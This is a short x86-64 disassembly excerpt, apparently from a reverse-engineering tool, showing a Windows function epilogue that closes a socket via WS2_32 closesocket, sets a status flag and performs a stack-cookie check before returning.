mov rcx, qword [rsp + 0xb8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x14009cd4e
mov byte [rsp + 0x41], 1
jmp 0x14009cd53
mov byte [rsp + 0x41], 0
movzx edx, byte [rsp + 0x41]
mov rcx, qword [rsp + 0xc8]
call fcn.1400abf10
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1401f5ac0
add rsp, 0xa8
ret